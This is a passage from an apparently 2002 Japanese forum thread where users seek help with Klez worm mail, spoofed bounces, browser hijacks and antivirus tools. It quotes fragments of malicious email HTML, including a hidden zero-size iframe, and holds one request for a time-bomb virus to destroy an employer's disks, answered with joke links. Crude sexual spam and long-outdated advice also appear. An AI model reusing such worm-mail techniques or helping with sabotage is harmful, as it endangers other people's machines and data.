rows=3D100%,*><FRAME marginHeight=3D5 marginWidth=3D10 name=3Deasymain =
src=3D"http://www.ming21.net/私のアカウント名と同一/"></FRAMESET>

--=_NextPart_000_0018_01C1A1B3.E2C7FE20--

以上です。

エラーとなって帰って来た送信先は
全て私が使っているメールと同じプロバイダのものです。
同内容のものが、送信先のみ変わって7〜8通届いています。
また、最後の
http://www.ming21.net/私のアカウント名と同一
というURLには心当たりもなく、怖いのでクリックしていません…

どちらにしろ、今後のためにウイルス駆除ソフトか新しいPCは買おうと思っていますが
事情があって外に出られないため、
取り急ぎここで質問させていただくことをお許しください。
長文すみませんでした。

追記。ちなみに知り合いからでもいきなり添付ファイルなどは開きませんし
ここ1週間ほどはアンケートなどの企業メールばかりだったので
読まずに削除したりしていました。

＞いきなり添付ファイルなどは開きませんし、
IE使っている以上、「添付ファイル開かない」は防御にはならない。認識が古い。プレビューも危険。
ましてIE4だともはやどんなセキュリティホールがあるのかも調査されていない。
http://www.ipa.go.jp/security/virus/faq/qa_a.html#2-1　のQ1
例えば、http://www.microsoft.com/japan/technet/treeview/default.asp?url=/JAPAN/technet/security/bulletin/ms01-020.asp　など

自身が感染してないのを前提にレスすると誰かがKlezに感染していてワームが
あなたのアドレスを詐称して発信したものがあて先不明であなたに返されたもの
と推測される。
http://www.trendmicro.co.jp/klez/

>>561 どうしてもWin95でいきたいのなら、せめてIE5.01SP2にする。
ただしIE5.01SP2もWin95用のものは最新パッチは供給されていない。
http://www.microsoft.com/downloads/release.asp?ReleaseID=28910
↑でダウンロードした上でウィンドウズアップデートで「製品の更新」の
「重要な更新」で修正パッチを当てておく。
IE6.0やIE5.5SP2はWin95には対応していない。

インターネット＝病原菌の宝庫
パソコン＝何も対策してないあなた

それでもあなたは、わざわざ病気にかかりに行きますか？
知らないうちに加害者になりますか？

ノートン、バスターを買って予防しましょう。
そして、新しい病原菌に対応するため、ウイルス定義を最新にすることも忘れずに。

ナマでパコパコ！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

>>563-564 わっ、わかったからソープランドを貶めるのはやめてくれ(w
素人渋谷系の方が保菌率はるかに高いんだから…

読み方が分かりません。
−−−−−−−−
やめません。
このくらい言わないと重大さが解らないと思います。
ウイルス対策をしないのはチンコにゴムつけないのと同じです。

ソープランドで淋、蔵くらうことがあります。
別にスレがあります。

くらったのか…

>>561
>>562
レスありがとうございます。さっきまで561のリンク先や
IEについて検索して調べてみました。
なりすましであるという可能性ばかりじゃないようで、安心半分ｺﾜｰ半分です。
お下がりのPCということもあり、既存の環境に甘んじてるところもありましたので
いっそPCごと買い換えようと思ってます。ワクチンソフトも買ってもらってきます。
このPCはもう回線を切ってオフライン専用とすることにしました。
ありがとうございました。

自分だけが無菌だとでも思ってるのか？
この肝炎キャリアめ！

(脱線スマソ)

自分だけが無菌だとでも思ってるのか？
このＨＩＶキャリアめ！
自分だけが無菌だとでも思ってるのか？
このＨＩＶキャリアめ！
自分だけが無菌だとでも思ってるのか？
このＨＩＶキャリアめ！
自分だけが無菌だとでも思ってるのか？
このＨＩＶキャリアめ！
自分だけが無菌だとでも思ってるのか？
このＨＩＶキャリアめ！

>>570
HIVは菌ではない。どうでもいいんだが。

エロ画像付きのウイルスがやたらくるよ

>>619 Klezは感染発信元が偽装されてるからまだマシだけど、そのままの
アドレスで自分のお宝画像がばら撒かれたら恥ずかしいよなぁ。
あいつこんな趣味してたのかって。MOに保存しようね、お宝は(w

スマソ　619ではなく　>>572だった。

>>565
話し掛けるのやめれ。
透明あぼーんか放置しる。

>>548-549
MX厨はダウソ板に帰れ。

初心者です・・・優しく教えてください・・。

　えっと、アウトルックでメールを受信する時に、プレビュー
画面でメールを見ないようにする方法があと聞いたのですが
(開かなくても読んだだけで感染するメールがあると
聞いたので・・)教えてください。
　ちなみに、ただいま件名「version」という添付ファイル
付きメールがきていて、怖くて開けていません・・。
　これって・・・？

>>577
[ツール]->[オプション]->[読み取り]->"プレビューウィンドウで表示する・・・"
のチェックを外す。

>>577
ダイレクトアクション機能：
アウトルックエクスプレスでプレビューだけで、アウトルックでメールを開くだけで、添付ファイルが実行、です。
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS01-020

表示→プレビューウィンドウ→プレビューできなくなって、幸せになれる、かもしれない。

>>577
文面からすると、既にプレビューしてるような気もするんだが・・・

すいません。質問です。
以下のメールが来ました。いったいなんなのでしょう。
月曜にはメールを送っていません。

タイトル：Returned mail: Unknown user
送信者：[email protected] <[email protected]>

----- Unsent reason follows -----
[email protected]... Unknown user

----- Unsent message follows -----

Return-Path: [email protected]
Date: Mon, 22 Apr 2002 20:45:36 +0900
From: xxxxxx <[email protected]> ＜−オレのアドレス
To: [email protected]
Subject: Vc layer
Received: from mta4p.ttcn.ne.jp (mta4.ttcn.ne.jp [210.188.175.73])
by ums514.nifty.ne.jp (8.9.3+3.2W/3.7W001208) with ESMTP id UAA22433
for <[email protected]>; Mon, 22 Apr 2002 20:45:35 +0900 (JST)
Received: from Qsoyz ([61.114.23.88]) by mta4p.ttcn.ne.jp with SMTP
id <20020422114509.FPPK683.mta4p@Qsoyz>
for <[email protected]>; Mon, 22 Apr 2002 20:45:09 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=AFZ3A47Cr658v9b7reK3aRB13R
Message-Id: <20020422114509.FPPK683.mta4p@Qsoyz>

----- Message body suppressed -----

　578番さま>ありがとうございます。
　　　　　　が。
　　　　　　"プレビューウィンドウで表示する・・・"
　　　　　　というのがないのですが・・。

　　　　　　　

>>581
宛先不明とかで戻ってきたメルを装うvilliあったな、KLEZ.Eとか。

>>582
長ったらしいので正確に書いてなかったけど、正しくは
　「プレビューウィンドウで表示するメッセージを自動的にダウンロードする」

バージョンによって違ったりするかも。ちなみにこっちは 6.00.2600.0000。
もしかしてアウトルックって、Outlook Express じゃなくて Outlook の事？

>>581
From の偽装なんて難しいことではない。
自分が出した(様にみえる)メールがエラーで返ってきたら思わず開いちゃうでしょ？それが狙い。

>583
ありがとう。
ちょっと上に書いてあったね。
一応、Trend　Microのオンラインスキャンかけたんだけど、
何も無かったって事は、取り合えず他の人が感染してるってことだよね。

なりすましだと感染してる人を特定するのは無理かな？

>>586
>感染してる人を特定するのは
こっちのスレで、ここ数日ヘッダから感染者特定できた人がいます。
http://pc.2ch.net/test/read.cgi/sec/1018248786/

>>585
漏れ先週、前日に自分が出したメルが戻ってきた。
一瞬ビクーリしたが、今ごろって考えると不思議だった。

ちくしょう、もうあんな会社やめてやる！
もともと悪どい商売やってたんで、忘れた頃にハードディスク
ぶっ壊してやりたいんですけど、ｱﾌｫな俺でもしかけられる時限爆弾
のようなウィルスってありませんか。それか、全部winなんでコマンド
とかから、埋め込む方法あったら教えてﾎｯｽｨ！どうか、ｵﾅｶﾞｲしますぅ。
関連サイトでもいいです。まじでぶっ潰してやりたいんだよ。。

http://www.dogudoraku.com/ga/51n85-.html

>>588
http://www.tools-site.net/s_bosh/d_hamdrill.htm

>>588
漏れも参加。
http://home.att.ne.jp/sigma/rk/trans/makebomb.html

馬鹿なリンクを紹介するだけなのも何なので、ついでに啓蒙活動。

　ZDNN-【知人を装うスパムにご用心】
　http://www.zdnet.co.jp/news/0204/15/e_spam.html

jdbgmgr.exe これってウイルスですか？最近出てウイルスバスターとかノートンでもまだ
認識されてないってことらしいようなメールがきたんですが・・・

>>593
http://www.google.com/search?num=50&hl=ja&q=%22jdbgmgr.exe%22&btnG=Google+%8C%9F%8D%F5&lr=lang_ja

ナマでパコパコやるな！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

ソープランドを貶める意図はありません。

このくらい言わないと重大さが解らないか？
ウイルス対策をしないのはチンコにゴムつけないのと同じです。

ソープランドで淋、蔵くらうことがあります。
別にスレがあります。

W32/Elkern.Cってのが来たが、これはklez系の亜種
と考えてよいのか?
klez系を送ってきた別のメールとreturn-pathが一致しているのだが･･･

>>596 http://www.symantec.com/region/jp/sarcj/data/w/w32.elkern.4926.html　あたりか？

onclick.exeという添付ファイルがついたメールがくるのですが、
ウイルスでしょうか？
サイズは123Kで、ヘッダの情報は
　　　Subject: To continue.
　　　To:　
　　　From:
　　　Date:
しかありません。

環境：Ｗｉｎ９８、ブラウザＩＥ６

とあるファイル（拡張子ace）を解凍する為に韓国製の解凍ツールをインストールしたのですが
（下記症状が出るようになったので現在はアンインストール済です）
それ以来起動後、一番最初のブラウザ起動時に以下の症状が出るようになってしまいました。

[検索]ボタンが押された状態で全画面表示で起動するようになってしまいました
検索ウィンドウには「ttp://www.allcybersearch.com/xg-webplosion.htm」という見なれない検索ページが表示されています。
また、起動時に「ttp://www.webplosion.com/webplosionframe.php4?i=980&w=616&h=647&l=87&t=242&r=0」というウィンドウも勝手に開くようになってしまいました

上記ウィンドゥが開くだけではなく、起動ごとにグーグルツールバーも消えてしまうので、大変困っています解決するにはどうしたら良いでしょうか？

■
接続環境はＡＤＳＬですので、エロサイト関係で云々という症状では無いはずです

『ツール＞インターネットオプション＞ホームページのアドレス』は
広告ソフトに有りがちな 「http：広告のアドレス=本来のＨＰアドレス」と、いうようなものではなく、ＨＰのアドレスは正常なままです。

Windows板では下記ウィルスではないかとの診断を受けたのですが、ウィルス以外の可能性
もしウィルスである事が濃厚な場合、具体的な駆除方法等教えていただけないでしょうか？　
症状として、ブラウザ起動時に、スタートページについては改変されるという事はないようです

[JS/Seeker.gen]

このトロイの木馬は、Webブラウザが起動されると、
デフォルトのスタートページと検索ページを改変します。
ttp://www.nai.com/japan/virusinfo/virS2000.asp?v=JS/Seeker.gen


■自分でとった解決作（失敗の履歴）
韓国製の解凍ツールをアンインストール
ツール＞設定のリセット
ＩＥ６の修復
トレンドマイクロ社のオンラインウィルス検索（ウィルス数ゼロの診断が出ました）

>>599
それってJS/Seeker.genじゃなさそうなんだけど。

IEのプロパティ→LANの設定で、プロキシサーバーを使う設定になってる、とか。
ファイル名を指定→regedit→編集→検索→allcybersearchってやってみるとか。

でもAd-Aware使った方が早いような気がする。
まずは最初に、解凍ツール使った日に作成されたファイル、検索してみそ。

>>599
アドバイスは出来ないけど、少なくとも
>接続環境はＡＤＳＬですので、エロサイト関係で云々という症状では無いはずです
この認識は間違ってると指摘できます。

スタートページの改ざんは、私も上のcheshire-catさんと同じく
レジストリを疑いますね。

　変なメールが届きました。
ただ、そのメールはどうもわたしが送ったものが
宛先不明で戻ってきたらしく…どうして良いかわかりません。
わたしが既にウイルスに感染しているということなのでしょうか？？
詳しく状況を書きますのでアドバイスお願いします。m(_ _)m

差出人：postmaster <[email protected]>
（わたしのプロバイダーがソネットで、こういうメールは
　メールアドレスを間違えて送ったときなどに
　かえって来るメールです）

The following mail can't be sent to [email protected]:

From: わたしのアドレス
To: [email protected]
Subject: questionnaire
The file is the original mail

添付ファイル：Dazqp.exe／“ふみえです”

　アドバイスお願いします。m(_ _)m

>600-601
Ad-Awareを実行したところそのものズバリのアドレスが出たため間違い無いようです

ありがとうございました

>>602
戻ってきたメルを装っているだけだった、とか。
postmasterって、KLEZでよく見る。

「Dazqp.exe／“ふみえです”」って爆笑。ちょっと欲しいかも。

>>603
該当の解凍ツールと、検出されたファイル名、何ですか？
参考までに教えて欲しいんだが。

そうるすと、以後被害者が出た時の対応がスムーズになるんだけど。

>>602 W32.Klez.H@mm（WORM_KLEZ.G）でしょう。差出人のアドレスは、
感染先コンピュータ上で発見したメールアドレスからランダムに選択され
たものが使用されます。したがって、あなたのアドレスをアドレス帳に載
せている知人などがこのウィルスに感染して撒き散らしたメールがあて先
不明であなたのところへ戻されたものでしょう。
http://www.trendmicro.co.jp/klez/
念のためアンチウィルスソフトでスキャンすること。
持ってなければhttp://www.trendmicro.co.jp/hcall/index.aspで。

Klez系,Klez.Eスレッド
http://pc.2ch.net/test/read.cgi/sec/1018248786/l50

　>>604,606

　レスありがとうございます。
とりあえずいまスキャンソフトダウンロードしています。
まだまだ不安ですが……（涙）

　あと、リンク先を読んでいたのですが、
「ファイルを開いたりプレビューすると感染します。」
とありました。
わたしはメールソフトはBeckyなのですが、
これは、IEのみの話ですか？？
それともプレビューしてしまったのでわたしも感染している
ということになるのでしょうか……。

　教えて下さい。宜しくお願いしますm(_ _)m

>>607
Becky使ってないからわからんけど、どうなんだろう。
漏れも知りたい。

それとIEはブラウザ。MSのメーラーはOEやOutlookなんだけど。
その他のメーラーでも、MAPI搭載してるのもあるから、必ずしもMS製品じゃなければ安心ってものでもないらしい。

ちなみにMAPIってMSが配ってるメーラー用のコンポーネントみたいなので、これを使えば簡単にメーラーが作れるってやつ。

　すみません、IEはOutlookの間違いです。

なんかアンチウィルスソフトがダウンロードできません…。
強制終了とか、うんともすんとも言わなかったりとか。
不安……

>>609
シマンテック
http://www.symantec.co.jp/region/jp/securitycheck/index.html
トレンドマイクロ
http://www.trendmicro.co.jp/hcall/index.asp

どっちもダメですか？

>>609
ほれ、使え。
http://www.symantec.com/region/jp/sarcj/data/w/w32.klez.removal.tool.html

これで駄目なら、他の手を考えようや。

>>609
AntiVir ソフトはノートンやらバスターだけではない。
こんなのも選択肢にどうだぃ？
【無料AntiVirus AntiVirPE/AVG/Antidote簡易版】
http://pc.2ch.net/test/read.cgi/sec/1015584020/

>>610
オンラインスキャンは仕組みが体験版とかと異なるから、有効かもな。

>>610-613

　ありがとうございます。
今再起動して「トレンドマイクロ」のDLを試しています。
DL自体に凄い時間がかかっているので
どうなるのかわからないですけど…。
もうちょっと待ってみて駄目だったら別のを試してみます。
頑張ります。

　やっとDL終了しました。
今スキャン中です。
どうなることやら…ドキドキ。

>>615
スキャン中は他のプログラム走らせるのやめた方がいいと思うんだけど。

>>615
スキャンするときは、全部のファイルをチェックするように設定してある？
そうでないなら、念のためそういう設定にしたほうが良いよ。

　今スキャン終わりました。
やはり上記のメールはウイルスだったようです。

>ウイルス検索で感染ファイルが発見された場合、
>検出されたファイルのリストが表示されます。
>感染ファイルを削除するには、
>リストの中から削除したいファイルを選択して［削除ボタン］を
>クリックしてください。
>このオンラインスキャンではウイルスの「駆除」はおこなえません。
>駆除をおこなうには弊社製品ウイルスバスターをご利用ください。

　と紹介していただいたHP
http://www.trendmicro.co.jp/hcall/index.asp
に書いてあったのですが、
削除と駆除の違いが良くわかりません。

　とりあえず削除までは行いました。
この後すべきことを教えて下さい。
宜しくお願いしますm(_ _)m

>>616

　あ…そうでしたね（汗）
IEのみ出しっぱなしでスキャンしてしまいました。
大丈夫でしょうか…？

>>617

　はい、大丈夫です。
ご心配ありがとうございます。

>>619
>IEのみ出しっぱなしでスキャンしてしまいました。 大丈夫でしょうか…？
スキャンに余計な時間が掛かるくらいで、別に害があるわけではないと思う。

>>618
2ch重い、広告腹立つ。プロキシミトロン導入するか。

ウイルスAが感染したとする。
ファイルBにAを突っ込む→駆除可能。
Aが単独で存在→アンチウイルスソフトでは駆除できず、削除するしかない。
後者は駆除のしようがないから。
なおそこは、駆除はできずに削除のみ可能なサービス。

結局さ、検出名は何？

>>618
削除と駆除の違いは

・削除 - 文字どおり、感染しているファイルをHDから消し去ること。
・駆除 - 感染しているファイルから、ウィルスを取り除いてファイルを修復すること。

削除だと元ファイル(ウィルスに取り憑かれたファイル)ごと無くなってしまうけど、
駆除なら元ファイルは無事に無菌状態になる。

>>618
削除と駆除の違い

削除：ウイルスが単独のファイルの場合、又は、ファイル感染型で
ファイルを破壊せずにウイルス部分だけ取り除くのが困難な場合
ファイルごと削除。

駆除：ファイルに感染したウイルスを、ファイルのデータを温存
したままウイルス部分だけ削除。

みたいな感じだったと思います。

(予想したとおりかぶりまくりますた)

さて、漏れとｹｺｰﾝしたいのは >>621 と >>623 のどっちだ？

>>620
重くてリロードできず、まともに利用できない状態なんで、よそ逝ってくる。

612の人が書いたAntidote簡易版、やってみそ。件出力は高いから。
喰らったら複数のアンチウイルスソフトでチェック、これ基本。

つか、駆除って成功した例がない。

>>626
かちゅーしゃ使ってないの？

>>620

　そうですか、ほっとしました。
確かに大変時間はかかりましたが（＾＾；

>>621-624

　成る程、わかりました。
ということは、これでパソは安全な状態になった、と
考えて良いのでしょうか。

なお、検出されたのはご指摘のとおりKLEZ　でした。

　あと、もうひとつだけ。
今回の場合、結局わたしは「感染」したことになるのでしょうか？？
「感染」したのだとしたら、またわたしのアドレス帳にある
メールアドレスからどこかへウイルスが撒き散らされたということに
なりますよね。
それに対して何か対策ってたてたほうが良いのでしょうか…？？

3人カブリって、初めて体験。

>>626

　わかりました、やってみます。

>>629
HDからウィルスが全部消えたのなら問題なし。
というか、今後感染しないように注意することが重要。

・無闇に添付ファイル開くな
・既知のアドレスからのメールだからと言って安心するな
・ちゃんとウィルススキャンソフト買って常駐させろ(アップデートも最低週一回する)
・シマンテックとかのサイトにこまめに目を通してウィルスの情報を収集する
・2ch で無闇にリンクをクリックするな

>>628
よーわからん出所のものは使わないっす。
というか漏れ、常用しているアンチウイルスソフトとかPFWとかルーターとかブラウザ、書いたことないっしょ、一度も。

>>629
アドレス帳の相手、全滅かもしれん。
まあアドレス帳に限らずローカルなファイルからメアド抽出するし。
例えばパソに元々入っていたツールのhtml形式ヘルプ、とかも。

知らんふり、って手も。って嘘です。
検出されたのがメーラーのメールボックスとか添付ファイルを別個に保存しる所なら、問題ないです。
Systemフォルダからゴミが見つかったなら、感染してたかも。
メル送信ログは残さないらしいんで、誰に送ったかは後からはわからんっすね。

>>632
>・無闇に添付ファイル開くな

　これは大丈夫です。基本的に開かない主義にしているので…
ただ、プレビュー（Outlook以外ですが）してしまったのでそれが心配で（＾＾；；

>・既知のアドレスからのメールだからと言って安心するな
>・ちゃんとウィルススキャンソフト買って常駐させろ(アップデートも最低週一回する)
>・シマンテックとかのサイトにこまめに目を通してウィルスの情報を収集する

　すみません、これは油断してました。
これからは気をつけます。

>・2ch で無闇にリンクをクリックするな

　これも大丈夫です（笑）
こんなにたくさんクリックしたのは今日が初めてです。（笑）

>>633

>検出されたのがメーラーのメールボックスとか添付ファイルを別個に
>保存しる所なら、問題ないです。
>Systemフォルダからゴミが見つかったなら、感染してたかも。

　メールボックスから検出されました。
ということは問題なし＝「感染していない」
＝他の人にウイルス送って迷惑かけてたりしてない、というふうに
理解して良いのでしょうか？？

　なんか違ってたらご指摘お願い致します…m(_ _)m

メル送信ログは残さないらしいんで、誰に送ったかは後からはわからんっすね。

>>634
>>623が何を言いたいのかっていうと、
メーラーのメールボックスで見つかったと言うことは、逆に言うと
メーラー内部でウィルスの行動が止まったっていうこと。
で、メーラーで止まった分についてはスキャンしたら見つかって
削除したわけだから(感染する前に削除できたので)心配なしって
言うこと。

で、これが systemフォルダ(C:\windows\system)とかで見つかって
しまった場合だと、ウィルスの進行をメーラーの段階で食い止められ
ずに Windows ごと感染してしまった後だと言うこと。その場合は危険
というか手遅れ。

今回の場合は対応が良かったので感染はしなかったと思う。

・・・と言うことだよね。cheshire-cat さん。
違ってたら怒って。

>>608
亀レスだけど、Becky!のHTMLメール表示機能はIEコンポーネント
を利用しているので、OEと同じ脆弱性があると思っていい。勿論
OEと違ってプレビュー即感染なんて馬鹿な作りにはなってないけど、
開いちまえば終わり。
それと、MAPI使用のメーラーだと、確かユードラもMAPIだったハズ。

くだらねぇ質問はここに書き込め　Ver2.15にも記入させていただいたのですが、
我が家のＰＣから（電源を切っていたのに）勝手に自分の携帯にこんなメールが届きました。


件名：A very funny game
本文：?:Invalid Message Text


こんな現象は初めてなので困っています。誰かこれに関する情報をお持ちの方はいませんか？

>>638
ttp://oreoka.kir.jp/nandemoari/img-box/img20020422224236.png

>638
たぶん、あなたのＰＣで使ってるメールアドレスと
携帯のメールアドレスの両方知ってる人が犯人。
心当たりがいたら、ウイルスチェックさせれ。

６３９さん、情報ありがとうございます。

６４０さん、ありがとうございます。

>>637
あのぅ、EdMaxはどうなんでしょうか？
(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

たびたびすいません。
【Klez.e】や【Kiez.h】のウイルスは、携帯のメールからＰＣに感染という事はありますか？

　現在612さんに教えていただいたソフトでスキャンしなおしています。
…が、終わりません（＾＾；
このまま朝になってしまいそうです…。

>>635

　なるほど、多分わかりました。
じゃあ一安心かな…と思っていたのですが、
ここでなんか「アレ？」と思うことが。
さっき１回目にスキャンしたとき、
確かにメールボックスからウイルスとして検出されたものを
削除したはずなのですが、
今メールソフトを一瞬起動してみてみたら、
そのメール＋添付ファイルがそのまま残っていて…（汗）
これって、OKなのですか？？
何かの手違いで削除ができなかったのでしょうか。。。

>>637

　ではBeckyも安全ではないのですね。。。
どのソフトなら結構安心、みたいなのってないのでしょうか？？

>>644
ファイルが添付できて、メールサイズが制限されなければ、
送られたPCで感染することはある。
当然だが、携帯が感染してPCに送るということはない。

>>645
beckey!はbase-64エンコードをそのままテキスト保存したような気もする。
ので、テキストエディタでメールボックスを開き、
base-64エンコードされたところを削除する方法もある、かも。

電八。1メール⇔1ファイル、ウィルス付きメールを
受け取っても他のメールもろとも心中することはない。
ただ、デフォルトの使い勝手は極めて悪い。

　２回目のスキャン（Antidote簡易版で）がようやく終了しました。
…またウイルスが検出されました…（汗）
でも、検出された場所は、どうやら先ほどと同じ
メールソフトの中のようです。
さっき削除したはずなのに、どうしてなのでしょう。

　あと、Antidote簡易版でのウイルスの削除方法が
わかりません。
どなたかまだ起きてらっしゃる方いらっしゃいませんか？？
もしいらしたら教えて下さいませm(_ _)m
（自分でももう１度探してはみますが…）。

>>636
そのとおりっす。
>>637
ってことは、直接本文に書き込まれた危険htmlメルはドボン、っすか。
1ヶ月試用無料だったよね、実験するかな〜

>>647
Antidote簡易版は、ウイルスの削除も駆除もできないっす。
なぜ薦めたかって言うと、これは最新のウイルスを一番よく検出できる、ってことで。
他にも何か感染しているんじゃないかなって思ったからっす。
メーラー開いて、プレビューとかしない状態で該当メルを直接削除して、ゴミ箱に残っているのも削除でどうっしょ。

646さん、ありがとうございます。

[email protected]からW32.Klez.gen@mm来たやついる？

WORM系のウイルスの主な破壊行動を具体的に教えて。
ちなみにWORM_KLEZ.Gです。

>650
W32.Klez.gen@mmの送付元は偽装されていると思われ。
メールのヘッダ見ればわかるよ。

>>652
ありがと、たしかに、怪しそうな所を経由している。

>>648

　ありがとうございます。
えと、今削除しました。
あと、もう１度スキャンしてみたら
また同じ場所からウイルス検出されてどうしようかと思いましたが、
さらに削除して再度スキャンしたら検出されなくなったので
これで今度こそ大丈夫…でしょうか。
どうも大変お世話になりました、ありがとうございましたm(_ _)m

　で、今後事前にこういう事態を防ぐ手段を
宜しければ教えて下さい。
（どのウイルススキャンソフトを使えば良いか、など…）
頼りきりで申し訳有りませんがどうぞ宜しくお願いします。m(_ _)m

ノートンアンチウィルス2002
http://www.symantec.com/region/jp/products/nav/index.html
ウィルスバスター2002
http://www.trendmicro.co.jp/product/vb2002/index.asp
あたりが一般的。すぐにでも買うことをお勧めする。

メールもそんなに来ないし、今までウィルス来たこともない、OEから
Edmaxに乗り換えた。こんな自分でもアンチウィルスソフト必要ですか？
もし導入しても重くなるとおもうので常駐させたくないんですが。

>656
自己責任

自己責任ですか。ふーむ。

あんまり車に乗らないし、今まで事故に遭ったこともないし
任意保険は必要ないですよね？　というヤシと同じかと。
すべては自己責任。

W32.Klez.gen@mm というウイルスに感染してる事がわかったのですが駆除の仕方がわかりません。
色々なウィルス駆除のページも見たんですがパソコン初心者なんで専門用語があったりするとそこで行き詰まってしまうんです。
なるべく簡単に駆除出来る方法など知っている方いましたら教えて下さい！

>>660
http://www.symantec.com/region/jp/sarcj/data/w/w32.klez.removal.tool.html
http://www.trendmicro.co.jp/klez/tool.asp
上記じゃダメなのか？ 書いてある通りにやるだけなんだが…

>>660
とりあえず見れ。

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_KLEZ.G

ナマでパコパコやるな！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

ソープランドを貶める意図はありません。

このくらい言わないと重大さが解らないか？
ウイルス対策をしないのはチンコにゴムつけないのと同じです。

ソープランドで淋、蔵くらうことがあります。
別にスレがあります。

>>663 つまんねーんだよ。例え話にも知性が現れるって事がわかんねーんだろうな。

>>664 相手すんな

>>656
( ﾟДﾟ)ﾊｧ?

>>664
つまんねーんだよ。
つまんねーんだよ。
つまんねーんだよ。
つまんねーんだよ。
つまんねーんだよ。

>>665
( ﾟДﾟ)ﾊｧ?
( ﾟДﾟ)ﾊｧ?
( ﾟДﾟ)ﾊｧ?
( ﾟДﾟ)ﾊｧ?
( ﾟДﾟ)ﾊｧ?

２２日から毎日、１日１通
時間は決まって夜８時〜１０時ぐらいの間
差出人は知らない相手で毎回変わる
添付ファイルは無い

中身は毎度おんなじで、cid;の先の文字列のみ変わる

<HTML><HEAD></HEAD><xbody>
<xiframe src=cid:I563qb971568gCL height=0 width=0>
</iframe>
<FONT></FONT></BODY></HTML>

しかしＩＦＲＡＭＥの中のcid;に相当する添付ファイルは無い。

件名は

月曜 Gazou.jpg
火曜 How are you
水曜 (C) 2002 Yahoo Japan Corporation. All Rights
木曜 Gazou.jpg

なんでしょ、コレ？

トレンドマイクロのオンラインウイルス検索を実行して
ひっかかってなければ感染してないと思って良いですか？
あまりにウイルスが来るので心配なんです。
ちなみにAVG入れてます。
とても厨な質問ですみません。

トロイの木馬ってかかるとどうなりますか？

ついでに駆除方法教えてください。

>>670
さすがにオリジナルのウイルスや未対応のウイルスは検出できません。
でも、そんなウイルスに引っかかる前に自分でも防御意識を高めておきましょう。
セキュリティーホールは埋めるなどは、簡単にできますので。

>>671-672
外部からパソコンを操れるようになる、個人情報が勝手に漏れてしまうなど。
駆除はウイルス対策ソフトなどありますが、再インストールが１番かもしれません。

>>670
オンラインのウイルススキャンでは、圧縮ファイルが
スキャン対象外だったり、実行中のシステムファイルは
スキャンできなかったりしたと思うけど。

AVGが最新版なら、最近のウイルスには対応できてると思うけど。

>>673
ありがとうございました〜。

ノートンのアンチウィルス更新したらメール受信出来なくなりました。
ネットにはつながるのにどうしてでしょうか？
設定は変えてないです。XPです。

>>668
うちも今日それと似たようなの来ました。
件名のみで、添付ファイルなし。
ソース見ると同じようなことが書いてあります。
特に問題ないと思って良い？

>>668
＞<iframe src=cid:I563qb971568gCL height=0 width=0>

Previewするだけで感染するタイプのウィルス添付メールの特徴です。

すみません、激しく板違いかも知れませんが、友人のauの携帯電話が、ウィルスに
やられてしまったようなのです。
携帯電話対象のウィルスに詳しい方、もしいらしたら、教えていただけないでしょうか？
携帯電話の板にも行ってみたのですが、ウィルス情報を探せなかったのです・・・。

>>679
何故ウィルスだと思ってるんだろうね（ｗ

登録アドレスが消えて「ヌヌ　ヌヌ」って書かれていたり、
>送信メールとメモが全部消えたり、
>設定が変更になって、
>たとえば小さい文字表示が大きい文字表示になったり、
>引用符設定のところ
>「>」が「ヌヌ　ヌヌ」とあまりみかけない漢字になったり、
>親しい人しか受信できない設定なのに
>登録していない人から受信できて
>登録している人が着信拒否になったり、
>電源を切ろうとしたら切れずに「しばらくお待ちください」になったり
>（電池パックを抜いた）。
>夫に返信でメールを送ったら
>件名「ヌヌ」で届いて本文が動き出したので慌てて削除したんだって。

AVGは最新にしてますし、セキュリティーホールは埋めてます。
ただ今までBadtranceでもそうなんですが、こんなにウイルスが来た事がないので
ちょっと不安になってしまったんです。
すでにKlezだけで30通以上。Nimdaでさえ4通しか来なかったのに。
だから自分の自己防衛が完璧か？というのも自信もないので不安で.....鬱だ
また勉強の旅に逝ってきます。

うわー、やっちゃった！あわててたので、ごめんなさい！
>>681は、友人が訴えてきた症状なのです。

その他にも、次のような症状を訴えてきました。

>送信履歴がメールも電話も消えちゃうの。
>引用符設定編集しようとすると画面が暗くなって切り替わる。
>昨夜とうとう電話もメールも受けつけなくなったようです。

これは、ウィルスに感染したのではないでしょうか？

>>655

　ありがとうございます。
大学の生協で売ってたら明日にでも、できるだけはやく買いますね。

　昨日から今日にかけてcheshire-catさんをはじめ
たくさんの方にお世話になりました。
助けて下さった方々、本当にありがとうございましたm(_ _)m
これからは自衛にもきちんと気を配ります。

Norton Internet Security 2002 V4 Retail
Norton Internet Security 2002

は同じモノですか？購入するなら上の方ですか・・・

>>643
